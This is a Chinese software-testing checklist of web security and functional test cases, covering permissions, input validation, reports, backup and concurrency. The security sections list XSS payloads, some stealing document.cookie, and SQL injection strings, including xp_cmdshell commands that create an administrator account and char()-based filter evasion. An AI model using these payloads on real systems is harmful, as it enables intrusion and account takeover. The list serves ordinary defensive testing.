软件测试-Web安全性测试通用Case

1.4 安全性测试方法

1.3.1 功能验证

  功能验证是采用软件测试当中的黑盒测试方法,对涉及安全的软件功能,如:用户管理模块,权限管理,加密系统,认证系统等进行测试,主要验证上述功能是否有效。

1.3.1.1 用户管理:

用户认证安全的测试要考虑问题:

Ø  明确区分系统中不同用户权限

Ø  系统中会不会出现用户冲突

Ø  系统会不会因用户的权限的改变造成混乱

Ø  用户登陆密码是否是可见、可复制

Ø  是否可以通过绝对途径登陆系统(拷贝用户登陆后的链接直接进入系统)

用户推出系统后是否删除了所有鉴权标记,是否可以使用后退键而不通过输入口令进入系统

Ø  删除用户,是否能登陆?【不能登录】

Ø  不同权限的用户登录:使用二管区的用户登录,能否查看到所有单位的用户【安全性】

Ø  删除该用户,然后添加到的信息显示的用户为空,则点击查看该信息,登记人那栏的文字框是否显示为字符了。

Ø  不同级别单位的用户添加:添加一个最高级单位的用户、最低级别单位的用户,然后添加完最低界别单位的用户时,无法显示,只能显示最高级别的用户。

Ø  不同权限的用户登录:使用二管区的用户登录,能否查看到所有单位的用户【安全性】

Ø  删除正在登录的用户,是否会报错?

Ø  禁用用户,该用户能否登录

Ø  使用backspace删除用户:使用backspace删除用户,则数据重复

 

1.3.1.2 权限管理

ü   权限用户里,能否正确显示用户名

ü   权限是否正确

ü   权限:赋予一个人相应的权限后,在界面上看此人员是否具有此权限,并以此人员身份登陆验证权限设置是否正确(能否超出所赋予的权限)。

ü   新增权限用户的时候,下拉框没有把已新增的过滤掉,而且能重复新增一个用户;而且在选择了第十个用户后,从第十个开始,又可以重复添加。

ü   不给用户授权是否允许登陆。

ü   各级用户权限划分是否合理。

ü   权限:赋予一个人相应的权限后,在界面上看此人员是否具有此权限,并以此人员身份登陆验证权限设置是否正确(能否超出所赋予的权限)。

ü   用户权限》选中一条已添加好的权限,然后点击新增,弹出“对象不支持属性或方法”

ü   权限模块:查看设置权限模块是否多了其他模块的子模块

ü   检查具有不同权限的用户登录时,是否具有跟其权限相符合的操作;检查不权限的用户是否具有相应的权限

ü   用户:删除该用户后,查看还能否登陆;重新录入该用户,查看有无报错,有无在数据库已经登陆过;

ü   删除后重新添加的用户是否具有以前的权限,更改用户各项属性(包括权限)看对权限的影响。

ü   不给用户授权是否允许登陆。

ü   添加用户(有标识或编号):标识相同,用户名不同;相同标识,用户名相同;标识不同,用户名相同;标识不同,用户名不同。

ü   能否添加长用户名及长口令,如果允许,新用户能否正确登陆。

ü   能否添加信息为空的用户(其中包括空用户名、口令,空用户名、非空口令,非空用户名及空口令)。

ü   用户填写单位:下层能添加所属单位为上层单位的用户,添加完后使用该单位登录,查看单位是否为空白。

ü   登陆用户能否修改本人的(或其他人)的信息,删除本人(或其他人)。

ü   修改用户的信息(包括权限、口令、基本信息等)对其他模块的影响;修改口令后,确定口令是否与修改口令相符;

ü   权限组测试。

ü   添加一个权限并添加权限用户,再删除该权限是否限制了“不能删除已被使用的角色”,不能直接删除,直到删除权限用户--若不限制,就导致删除了权限管理,用户保存的权限为空,登录时会出现错误;

ü   在有工作组或角色管理的情况下,删除包含用户的工作组或角色,程序是否能正确处理。

ü   重新注册系统更变登陆身份后在登陆,看程序能否正确执行,具有权限是否正确。

ü   改某些设置时,是否影响具有上级权限及同级权限人员的设置。

ü   查询单位:用该单位登录,查看到的单位只能是自己的单位;用admin登录修改查询单位保存后再点击查看是否只显示刚刚选择的单位;

ü   用户能否同时属于多个组,各个组的权限能否交叉。

ü   系统管理员修改某些数据,以其他人员身份登录时数据是否更新。

ü   系统是否系统删除系统管理员这一特殊的用户或修改系统管理员的口令,删除或修改后系统的实际情况

ü   覆盖系统所有的权限设定。

ü   重复添加:新增权限用户的时候,下拉框没有把已新增的过滤掉,而且能重复新增一个用户;而且在选择了第十个用户后,从第十个开始,又可以重复添加。

 

1.3.1.3 系统网络安全的测试要考虑问题:

Ø  测试采取的防护措施是否正确装配好,有关系统的补丁是否打上

Ø  模拟非授权攻击,看防护系统是否坚固

Ø  采用成熟的网络漏洞检查工具检查系统相关漏洞(即用最专业的黑客攻击工具攻击试一下,现在最常用的是NBSI系列和IPhacker IP)

Ø  采用各种木马检查工具检查系统木马情况

Ø  采用各种防外挂工具检查系统各组程序的客外挂漏洞

 

1.3.1.4 数据库安全考虑问题:

Ø  系统数据是否机密(比如对银行系统,这一点就特别重要,一般的网站就没有太高要求)

Ø  系统数据的完整性(我刚刚结束的企业实名核查服务系统中就曾存在数据的不完整,对于这个系统的功能实现有了障碍)

Ø  系统数据可管理性

Ø  系统数据的独立性

Ø  系统数据可备份和恢复能力(数据备份是否完整,可否恢复,恢复是否可以完整)

 

1.3.1.5 输入验证

客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)

Ø  输入很大的数(如4,294,967,269),输入很小的数(负数),输入浮点数。

Ø  输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

Ø  输入特殊字符,如:~!@#$%^&*()_+<>:”{}|

Ø  输入中英文空格,输入字符串中间含空格,输入首尾空格

Ø  输入特殊字符串NULL,null,0x0d 0x0a

Ø  输入正常字符串    

Ø  输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字

Ø  输入html和javascript代码

Ø  对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

Ø  输入<html”>”gfhd</html>,看是否出错;

Ø  输入<input type=”text” name=”user”/>,看是否出现文本框;

Ø  输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

Ø  是否清楚入口点

Ø  是否情况信任边界

Ø  是否验证web页输入

Ø  是否对传递到组件或web服务的参数进行验证

14.是否验证从数据库中检索的数据

15.是否将方法集中起来

16.是否依赖客户端的验证

17.应用程序是否易受SQL注入攻击

18. 应用程序是否易受XSS注入攻击

19. 应用程序是否易受OS注入攻击

20. 应用程序是否易受cookie定制/隐藏文件操作攻击

 

1.3.1.8 关于URL:

1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;

3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

4.输入善意字符。

 

1.3.1.9 输出编码

常用的测试输入语句有:

<input type="text"/>

<input/>

<input/ 

<script>alert('hello');</script>

1.jpg" οnmοuseοver="alert('xss')

"></a><script>alert(‘xss’);</script>

http://xxx';alert('xss');var/ a='a

‘”>xss&<    

a=”\” ; b=”;alert(/xss/);//”

<img src=“输出内容” border=“0” alt=“logo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

对输出数据到输出数据的对比,看是否出现问题。

 

1.3.1.10 防止SQL注入

Admin--

‘or --

‘  and  (   )   exec   insert   *   %   chr   mid  

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)  ;  %20AND%201=2

‘and 1=1    ;  ‘And  1=1   ;   ‘aNd   1=1   ;

and 1=2    ;   ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

 

1.3.1.11 跨站脚本攻击(XSS)

对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?

~!@#$%^&*()_+<>,./?;'"[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/ 

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascript:alert(/xss/)

★<img src="#" οnerrοr=alert(/xss/)>

★<img src="#" style="Xss:expression(alert(/xss/));">

★<img src="#"/**/οnerrοr=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg" οnmοuseοver="alert('xss')

★"></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’”>xss&<

★"οnmοuseοver=alert('hello');"

★&{alert('hello');}

  ★>"'><script>alert(‘XSS')</script>

  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

  ★%22%2Balert(%27XSS%27)%2B%22

  ★<table background="javascript:alert(([code])"></table>

  ★<object type=text/html data="javascript:alert(([code]);"></object>

  ★<body οnlοad="javascript:alert(([code])"></body>

  ★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

var from = ‘$!rundata.Parameters.getString(’from’)';

var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

 

1.3.1.12 跨站请求伪造(CSRF)

同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。

当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。

 

 

**报表测试

2.14 报表测试

报表的测试主要分为以下几个方面:界面,安全性,准确性,展示速度(性能)

(1)数据统计方面

1、报表统计数据的正确性;

2、报表统计数据的完整性;

3、报表统计数据的合法性;比如,统计金额字段需求要求有“$”等;

(2)报表格式

1、表头字段表示的正确性;

2、表头字段表示的完整性;

3、表头字段表示的字体,字号,美观程度;

4、各统计字段的显示是否满足需求;比如:数据过长时要求折行还是缩小;

5、页眉和页角的表示;

(3)报表的预览和印刷

1、预览中的显示完整性;

2、多页情况下,第2页的表头显示;

3、能否实现需求要求的特定印刷情况;(比如,印刷使用指定的模板)

4、预览后印刷;

5、不预览,直接印刷

6、需求规定各类打印机的测试;

(4)数据准确性测试

   带有报表测试的系统分为两类,一类是业务系统中,带有统计分析功能模块,该模块中包含分析报表,这个系统的主体是业务系统,报表是为办理业务的而提供帮助的.比如说,应年检统计报表,某月应交罚款车辆统计报表,这样的报表数据准确与否,可通过增加、删减、修改相关业务或相关业务的参数,查看统计报表数据变化,检查数据准确性。另一类是系统只有统计功能,就是我说的数据仓库展现这类,它与业务系统分离,并且经过多层处理,比如数据仓库的数据,经过抽取,清洗,展现前会经过数据挖掘,数据再处理,有些字段在原始数据表中根本就没有。这样的数据准确性测试比较复杂,当然检查出数据错误,修改定位也是很不容易的。从整个项目节约成本看,逐层测试效果是最好的。完全修改率也是最高的。

(5)报表的界面和输入输出测试

界面分为输入界面和输出界面;统一的界面要求:美观、统一、易操作。

输入界面要求是:

① 输入项字段长度不允许超过字段长度;

② 输入不符合字段要求的,不允许查询。如money类型,在输入汉字,字母、特殊字符等不允许查询,并有友好的操作提示。

③ 用户 权限范围外的输入,不允许查询。如用户输入不是其权限范围内的客户号,不允许查询,并有友好的操作提示。

对于选项,应不出现可选择的用户权限以外的选项。

对于汉字模糊查询,考虑不常见字,如“㭎”即汉字因译码问题,造成的汉字存储出现乱码问题。

输出界面要求:

① 因为是报表所以应该有打印、打印预览、报表导出等功能。不能因为报表导出丢失数据,不能因为打印缺少了报表表格框

② 报表排列方式可调,用户可按任意列升序或降序排列,或者,按某一关键列的一定规则排序

③ 报表标题明确,不能含糊误导用户

④ 报表内可关联查询的项,应能特殊显示,如鼠标有箭头变为手掌,子报表格式与父报表格式统一,数据统一报表测试根据项目的定义有大有小,有时只是作为软件的一个部分进行测试,有时整个项目都是测试各种报表.但不论如何,报表的作用始终都是将系统中已经存在的数据根据用户的设置计算加工/整理汇总/最终以清晰的格式展示给用户,以便用户进一步做数据分析或统计.软件中的报表实现一般分为定义报表的所需数据(一般可以通过选择或手工输入条件来缩小数据范围)和定义报表格式两个部分.报表格式除了如国家各行业标准中规定的报表使用固定格式外,大多是根据企业或用户的需要定制报表.

(6)数据的正确

  用户使用报表就是期望通过一个简单方便的平台能快速的查找到他所需要的数据.

所以在测试报表时首先就要检查报表中的数据是不是用户需要的数据,如果没有加工的数据,是否保持了原貌; 加工过的数据查看加工的结构是否和手工加工的结果一致.

需要测试以下内容.

Ø  数据的来源:来源于哪张表,哪个字段,数据库中的数值与界面数据的对应.如数据库中性别的数据可能是0或1,但界面显示为男或女,这个对应关系是否正确.

Ø  数据的范围:是否只显示了报表设置的对应范围;特别要注意边界数据,要清楚报表的需求,是否需要过滤掉被选择的数据.如时间选择为2006-9-27~2007-9-27,那么是否应该包含9-27这天.

Ø  数据的对应关系:数据库中的字段是否与报表中的信息对应

Ø  数据的格式:小数位,千位符,四舍五入等是否与报表设置一致;单位或税率转换是否正确;组合显示的数据是否合理

Ø  数据的排序:排序方式是否与报表设置一致(如果没有设置,是否有一个清晰的默认排序方式,如按字母或数字排序)

Ø  流水号:如报表有使用流水号,流水号的生成和格式是否正确.取消操作是否会生成流水号.

Ø  明细与合计的一致性:各部分明细或小节是否与最后总和一致

Ø  测试这一部分内容需要对业务逻辑相当熟悉,对数据库的设计也要非常了解.必要时可以通过自己写查询语句查看数据.

Ø  有些报表的条件有多有少,但测试方法都是一样.根据条件通过等价类划分和排列组合设置各种条件组合.千万不要盲目的测试,否则会导致该测的没测,多余的测试做了一堆..一般来说有类别划分的(一般界面表现为下拉框),每个类别都要测试到,如性别中的男,女都要测试.输入的可以用等价类来划分要测试的数据.

(6)格式的正确

  数据验证正确后,就需要看看报表的输出格式是否符合要求.可以从以下几方面来检查.

Ø  报表的整体风格:报表是否符合规定的或用户设置的格式

Ø  报表标题:报表的标题是否是正确的报表名称;如报表中有嵌入的数据(会跟随用户的选择而变化的). 需要检查数据是否正确,如XX企业9月份财务报表,这个9月就是用户选择的; 或者XX公司2006-9-27~2007-9-27的网站访问量,这个时间段也是用户选择的.

Ø  公司的一些标志:如logo,名称,地址之类的是否正确

Ø  报表的页首与页尾:是否采用了一致的规则.

Ø  分页:当输出的内容多时,分页是否正确.翻页功能是否正确

Ø  友好性:数据或图表是否清晰,一目了然,数据的展示符合用户的习惯;需要特别提醒的数据(如合计,异常数据)是否突出显示;复杂算法处,用户不明白或容易混淆处是否有注释;一些默认的格式是否让人感觉舒服,如对齐,边界,间隔等

(7)权限的控制

   对于有权限控制的系统,报表当然也应该和用户所具有的权限相一致。需要从两方面校验权限的控制。

   报表的条件定义:在条件选择区域,有些下拉框中应该不能显示用户权限范围外的数据。如普通文员在使用报表时,报表名称下拉框中是不可以显示管理者才能查看的报表的。有些以输入的文本框有级别的划分时,都应该要测试输入超越权限的数据的相应。

   注意这里一定要测试每个条目。

    报表内容:报表中的内容不能显示用户本没有权限查看的数据。

(8)报表的输出

   报表在电脑上生成后,并不是报表的结束。报表一般都需要打印出来他用,如开会或者提交审批之类。所以报表的打印功能也是非常重要的。测试主要分成三部分:

● 打印设置

● 打印预览

● 实际打印效果

  除了打印之外,用户有可能需要导出报表做进一步的分析或用于和其他报表的比较。所以也应该提供导出报表的功能。一般可以导出为CSV,Excel,pdf,html,xml格式。

(9)报表对比

     首先建立测试数据模型,模拟所有应用表,建立简单易跟踪的数据用例,底层的数据表测试,方法很原始,嘿嘿,通过SQL语句和手工计算,对数据进行比对。对系统中的报表数据准确性测试方法较为灵活,

① 系统中报表重叠的进行比对;

② 对子报表汇总与父报表比对,就是对月报表汇总与年报表比对,日报表汇总与月报表比对,这只是一个方面,可以从维度关系考虑,地域,行政级别、时间,个人等方面下手,进行汇总比对;

③ 这个方法如果延伸点呢,可以将报表间的业务逻辑关系作为比对依据。呵呵,这要看测试人员的需求了解深度个人能力了。插几句不想干的话,做测试工作总让我保持快乐状态,前两天我的一个同事说,公司里一直没有人喜欢做测试工作,这个工作太枯燥。嘿嘿,我当时就说我做了这么多年的测试工作从来没有感觉到枯燥。重复性工作不代表枯燥,编程其实不也是重复嘛,人每天谁不重复昨天的事啊,吃饭,吃这个动作重复一生,有谁觉得麻烦枯燥啦?

④ 使用SQL和手工计算进行比对。以上是差错方式,接下来讲一下查什么错?哪些地方容易出错

● 原始表使用错误:因为表比较多,又加上没有统一的数据关系对应表,很容易表使用错误,当然这应该

是单元测试检查出来的错误。

● 数据处理逻辑错误:这一点容易因为测试人员和开发人员对需求理解有偏差造成争执,所以在需求评审时,对数据处理规则用表达式或伪代码表示清楚。还有就是程序员失误,逻辑编写有偏差,边界值、特殊情况处理不当。

● 数据权限:不同用户对数据有着不同的查看权限。这关系到数据的安全性。

● 数据误差:数据的保留位数,数据是否是处理计算是否是最后一次计算使用了位数保留和四舍五入。

● 由于字典表,数据错误,而造成的数据错误,如,根据性别统计,购买量,表中的男女颠倒,或者没有考虑性别缺失项,用了if else,这样就是把表中缺失该项内容的算成了else条件里。或者逻辑中应该考虑用户状态,数据状态类似的字段,容易被忽略,测试应该考虑到。

● 最后一项,当数据量相当大的时候,统计应该考虑,切割速度,也就是数据的完整性,由于数据切割的滞后,带来的数据不完整,而造成统计结果不完整。如统计昨天的销售情况,而昨天的数据并没有完全从业务系统数据到数据池,再者月底数据,由于最后一天的数据切割不完整而造成的正月统计数量不准确。

 

(11)生卫报表测试

细节检查:

1、数据库中的数据都是存储正确的,但是由于报表显示时进行了截断或四舍五入,导致数据“失真”

2、有些数据在不同的报表可能需要采用不同的单位进行显示,例如千克、吨等,要注意是否进行了单位的正确转换。特别是在生卫医疗那一模块上,单位的转换有很多。

性能测试和安全性测试

1、性能测试着重检查报表在大数据量时的显示速度、展示方式是否存在问题。例如:有些报表在显示大量的数据时会不响应,有些报表展示大量的数据时没有考虑排版、分页等问题,在同一页中显示出所有的数据,造成可用性的问题。

2、报表的安全性测试,可能有些报表包含的重要信息,不是每一个人都能进行报表的功能操作的,这时,报表测试还要结合权限控制功能进行安全性测试。

保存和打印测试:注意报表在导出到其他文件时是否正确,保存是否完整,是否会丢失数据,打印出来的报表格式是否会走样。

报表的格式测试:报表很多都是依据用户提供的单据格式、报告模板等文件的格式来设计的,因此,测试人员在测试报表的格式时需要找到这些原始的材料来进行对照,看是否一致,有没有满足用户的需求

这只是我个人的总结,当然了,测试报表还不止这些的。有些是得实际情况,实际考虑的。

 

2.19 系统设置测试

4.13.1 流程角色:

(1)流程设置为无效,能否继续审批

4.13.2 流程配置

(1)流程配置配置时,选择流转目标,查看流程角色与流转目标的条数是否一致?

4.13.3 配置测试

    1) 是否可以按照用户手册的说明,运行于多种操作系统(Windows 各版本 、Unix 、Linux 等);

2) 按系统最低要求进行软件的安装配置,查看能否正常实现各种功能;

3) 数据源等信息配置不正确时能否给出提示信息;

4) 是否可以按照用户手册的说明,支持多种数据库。

4.13.4 系统管理(参数设置)

1) 参数设置后,能否正确的进行应用;

2) 设置错误参数,系统的容错能力;

3) 修改参数,对与之相关模块的影响;

4) 系统是否有默认的参数,A 有:默认的参数是否起到作用 ;B 没有:不设置,系统能否运行或者给出提示。

1) 参数设置后,能否正确的进行应用;

2) 设置错误参数,系统的容错能力;

3) 修改参数,对与之相关模块的影响;

4) 系统是否有默认的参数,A 有:默认的参数是否起到作用 ;B 没有:不设置,系统能否运行或者给出提示。

1)  赋予一个人员相应的权限后,在界面上看此人员是否具有此权限,并以此人员身份登陆,验证权限设置是否正确(能否超出所给予的权限);

2)  删除或修改已经登陆系统并正在进行操作的人员的权限,程序能否正确处理;

3)  重新注册系统变更登陆身份后再登录,看程序是否能正确执行,具有权限是否正确;

4)  在有工作组或角色管理的情况下,删除包含用户的工作组或角色,程序能否正确处理;

5)  不同权限用户登录同一个系统,权限范围是否正确;

6)  覆盖系统所有权限设定;

7)  能否添加信息为空的用户(其中包括空用户名及空口令、空用户名非空口令、非空用户名及空口令)  ;

8)  能否添加长用户名及长口令,如果允许,新用户能否正确登录;

9)  系统是否允许删除系统管理员这一特殊用户或修改系统管理员口令,删除或修改后系统的实际情况;

10)  登录用户能否修改自己的权限;

11)  添加用户(有标识或编号):标识相同,用户名不同;标识相同,用户名相同;标识不同,用户名相同;标识不同,用户名不同;

12)  登录用户能否修改本人(或其他人)的信息,删除本人(或其他人);

13)  修改用户的信息(包括权限,口令,基本信息等),对其他模块的影响;

14)  修改用户信息:修改后的用户信息和已经存在的用户信息相同;修改后的用户信息和已经存在的用户信息不同;

15)  不给用户授权,是否允许登录;

15)  改某些设置时,是否会影响具有上级权限及相同权限人员的设置;

16)  系统管理员修改了某些数据,以其他人员身份登录时数据是否改变;

17)  用户能否同时属于多个组,各个组的权限能否交叉;删除后重新添加的用户是否具有以前的权限;更改用户各项属性(包括权限)看对权限是否有影响。

测试在权限管理中能否添加成功

测试在权限管理中当编号为空的时候能否添加成功

测试在权限管理中权限名称是否能为空

测试当用户编号重复的时候是否提示

测试新增权限的时候,用户信息下的用户选择中能否正常的选择部门

测试能否正常的修改权限编号,权限名称和权限;

测试能否正常的给添加的记录授权

测试能否正常的删除记录

测试能否正常的查询出记录

测试能否正常的添加用户

测试能否添加编号重复的用户

测试当添加用户的时候,授权部门的权利小于部门的时候能否授权

当添加用户的时候,两次密码输入不一致,系统是否会提示错误

测试修改用户信息的时候能否修改成功

测试能否正常的删除用户

测试能否正常的禁用

测试能否正常的修改密码

测试能否正常的查询出记录

测试能否正常的添加部门

测试能否正常的修改部门信息

测试能否正常的删除部门

测试能否正常的添加事件

测试能否修改编码和事件

测试能否删除事件

查看按钮是否正确

测试能否正常的添加制度

测试能否正常的修改制度

测试能否正常的删除制度

 

4.13.5 备份与恢复

1) 备份T日的数据,进行操作,然后恢复,查看恢复的数据是否正确;  

2) 备份到不同介质上,并考虑介质空间

已满的情况;  

3) 用系统提供的恢复功能进行恢复:  

4) 用数据库进行恢复;  

5) 在备份和恢复还没有结束的时候,终止(掉电,网络不通等)备份和恢复;  

6) 有操作的时候,进行备份和恢复;  

7) 没有任何操作的时候,进行备份,恢复;  

8) 部分备份,全部备份,部分恢复,全部恢复有选择的备份和恢复;  

9) 进行备份,恢复操作

10) 是否有权限限制 A 有: 分别用有权限的用户和没有权限的用户进行操作 B 没有:单个用户进行备份,恢复;多个用户同时进行备份和恢复。

 

2.20 审批流程测试

**页面审批**

Ø  页面查看页面的审批信息是否一致;

Ø  审批时,点击确定按钮,查看按钮功能是否实现;

Ø  审批时,点击否认按钮,查看按钮功能是否实现;

Ø  审批状态为空时,点击确定,查看审批状态为空是否会报错或做出正常的处理;

Ø  审批通过后,系统是否正常显示领导审批过程、时间等信息;(领导名是否会显示为null)

Ø  审批通过后,查看数据是否与输入数据一致;

**短信审批中容易出现的问题**

Ø  欠费,即由于欠费导致短信供应商停止发送短信。(较少现象) 

Ø  任务号重复,短信审批中,可能会出现任务号重复的问题,任务号是唯一的,是审批处理流程唯一的标识,如果存在重复,则导致短信审批不成功。(较少现象) 

Ø  领导收到短信的时间与流程发起的时间间隔较大,由于系统和短信供应商之间数据交换的问题,可能会导致短信发送的时间慢。(较少现象) 

Ø  短信审批退回流程后,流程重新发起后,将生成新的短信任务号。

 

2.20 系统日志测试

1) 系统能否正确记录日志信息;  

2) 系统是否有清空日志的功能;  

3) 系统是否有导出日志的功能;  

4) 当日志数据超过容量时,系统如何处理。  

二.性能测试  

具体用例不好设计,下面列出了一些有性能要求的测试点:  

1) 查询  

2) 保存  

3) 统计  

4) 刷新  

5) 显示  

6) 传输  

7) 响应  

8) 下载  

打开网络上其它介质上的文件时,可制造网络拥挤情况下的文件打开操作。

主要测试点,集中在几个点上。

一是数据量小的时候主要的查询统计刷新等功能点;

二是数据量积累到一定程度时的查询统计刷新时间,这里的一定程度是根据实际的项目和客户需求来定的。  

三.极限压力测试  

1) 接收大数据量的数据文件时间;  

2) 大数据恢复时间;  

3) 大数据导入导出时间;  

4) 大批量录入数据时间;  

5) 大数据量的计算时间;  

6) 多客户机同时进行某一个提交操作;  

7) 采用测试工具软件;  

8) 编写测试脚本程序;  

9) 大数据量的查询统计时间。  

四. 容错测试  

1) 通过断开网线的强制性停止数据传输以及重新将网线接上,查看提示信息及对系统的影响;  

2) 系统断电,恢复后查看对系统的影响程度;  

3) 死机后,看程序如何处理;  

4) 服务器DOWN掉,客户端程序如何处理。  

五.并发测试  

1) 登录的并发操作:多人同时登录系统,使用不同或相同账号;  

2) 提交的并发操作:多人同时提交相同的工作项、不同的工作项;  

3) 对数据库操作的并发操作:多人同时从数据库中读出(或向数据库导入) 相同文件、不同文件。  

************************  附:一些容易出错的地方  ************************  一. 有关新建和修改  

1. 创建或修改的内容为已经存在的内容,系统是否有提示;  

2. 修改正在使用的数据。  

二. 删除  

1. 应有确认提示;  

2. 若删除的内容在文件或数据库中,应作实际校验;  

3. 删除正在使用的数据;  

4. 考虑删除数据的相关数据是否同时被删除;  

5. 重新使用已删除的数据。  

三.关于提示信息的验证  

有些操作系统会给出成功(有时没有成功提示)或失败的提示,一定要验证提示的正确性(尤其是一些重要操作,如修改口令),即用其它方法检查所作的操作是否真正成功或失败。  四.关于考虑硬盘空间已满的情况  

1. 数据存储和备份;  

2. 生成文件;  

3. 拷贝文件  

五.关于修改系统时间  

对于和时间有关的业务,测试时考虑修改系统时间对系统的影响。  

六.对于响应速度慢的按钮进行连续点击;或中途取消,再继续…  

七.凡是支持并发过程的功能,一定要做并发测试(手工进行或利用工具);  

八.打印功能(能否正确打印,打印效果与预览是否一致)  

九.系统初始化  

1) 如果系统安装后需要进行初始化,初始化过程是否正确;  

2) 如果系统安装后不需要进行初始化,安装后的默认设置是否正确、适当。  

十.版权声明是否符合标准,如果有公司的logo,图标是否正确(最容易测试的地方,也是最容易被忽略的地方)  

十一.如果捆绑硬件,如果可能的话,在测试我们的软件产品前要对硬件的性能、稳定性进行严格测试。(包括大数据量的传输入等)  

十二.备份与恢复  

1) 备份与恢复过程本身的正确性;  

2) 备份内容的正确性(通过事先准备的测试数据在恢复后验证);  

3) 备份与恢复过程中对异常情况的处理(掉电、网络不通等);  

4) 在原始机上的恢复;  

5) 在非原始机上的恢复;  

6) 在裸机(只有操作系统和必要的数据库或第三方产品)上的恢复; 

7) 在一台机器上进行若干次的备份与恢复; 

8) 如果是支持多数据库的软件,备份与恢复是容易出错的地方。  

需要严格把握的错误类别:  

在整个测试过程中对每条问题都制定有错误归类,现按照问题的严重程度,把问题主要分为四类:  

A:严重影响系统运行:导致系统出现不可预料的严重错误的问题,例如:运行过程中出现页面或页面无法显示、死机等;  

B:影响系统运行:系统中重要的功能出现运行错误,例如:导致用户必须重新登录的问题,导致个别用户不可用的问题;  

C:不影响系统运行但必须修改:系统中基本的操作或功能没有实现或实现有误的问题,以及不符合常规的操作界面的问题;  

D:所提建议:不影响系统运行,对系统的可用性等提示的建议性的问题。

 

2.10 返回键条件测试

Ø  一条已经成功提交的记录,返回后再提交,看系统是否做了处理

Ø  检查多次使用返回键的情况,在有返回键的地方,返回到原来页面重复多次,看是否会出错

 

2.11 回车键检查

Ø  在输入结束后,直接按回车键,看系统处理如何,是否会报错

 

2.12 刷新键检查

Ø  在web系统中,使用浏览器的刷新键,看系统处理如何,是否会报错

 

2.13 快捷键测试

Ø  快捷键的使用是否正常:

1. TAB 键的使用是否正确

2.上下左右键是否正确

3.界面如果支持 ESC键 看是否正常的工作

3.ENTER 键的使用是否正确切换时是否正常。

Ø  常用快捷键,如Ctrl+C、 Ctrl+V、 Backspace等,对一些不允许输入信息的字段应做限制。

 

2.15 注销测试

ü   注销为原模块、新模块系统能否正确处理;

ü   中止注销能否返回原模块、原用户;

ü   注销为原用户、新用户系统能否正确处理;

ü   使用错误的帐号、口令或无权限帐号、被禁用帐号进行注销。

 

2.19 金额测试

Ø  删除提示成功/失败后看查看数据库

 

 

 

2.22运行与关闭测试

Ø  运行时是否与其它应用程序有冲突(内存冲突);

Ø  是否可以同时运行多个程序;

Ø  任务栏有无程序运行提示;

Ø  若有未保存的数据,关闭系统时是否有提示;

Ø  后台服务程序在点击关闭按钮时是否有确认提示;

Ø  运行时是否过份占用系统资源、退出时能否完成释放占用的系统资源。

 

 

4.6 用户条件测试

ü   查询单位:勾选一定单位后,登录查看,是否只能显示相应单位的数据?

     回去修改该用户时,查看勾选的单位是否正常勾选,能否正常显示?

     修改用户的单位,登录后,查看有无修改?

     勾选所有单位或者其中一个单位能查询,但是勾选局的所有子单位则不能查询

ü   创建用户:我在用户管理中创建了用户,则在人力资源的模块中有无添加呢?要不然会导致出现问题?

     用户被禁用,是否还能登录?

     在用户管理模块中删除用户,在人力资源中还是否显示呢?

ü   用户检查:任何一个系统,都有各类不同的用户,同样具有一个或多个管理员用户,检查各个管理员之间是否可以相互管理,编辑、删除管理员用户。同时,对于一般用户,尝试删除,并重建同名的用户,检查该用户其它信息是否重现。同样,提供注销功能的系统,此用户再次注册时,是否作为一个新的用户。而且还要检查该用户的有效日期,过了有效日期的用户是不能登录系统的。容易出现错误的情况是,可能有用户管理权限的非超级管理员,能够修改超级管理员的权限。

 

4.7 单引号和双引号测试

单引号和双引号:不要忽略输入单引号和双引号可能引起的错误和数据问题。在功能录入界面上,在某字段的输入框输入了包括单引号和双引号的数据,以后在通过Select 语句查询时可能会出问题。特别在基于WEB方式的系统,输入了单引号,在查询数据记录时,肯定会出现页面链接错误(页面无法链接或找不到或链接对象错误)。 

 

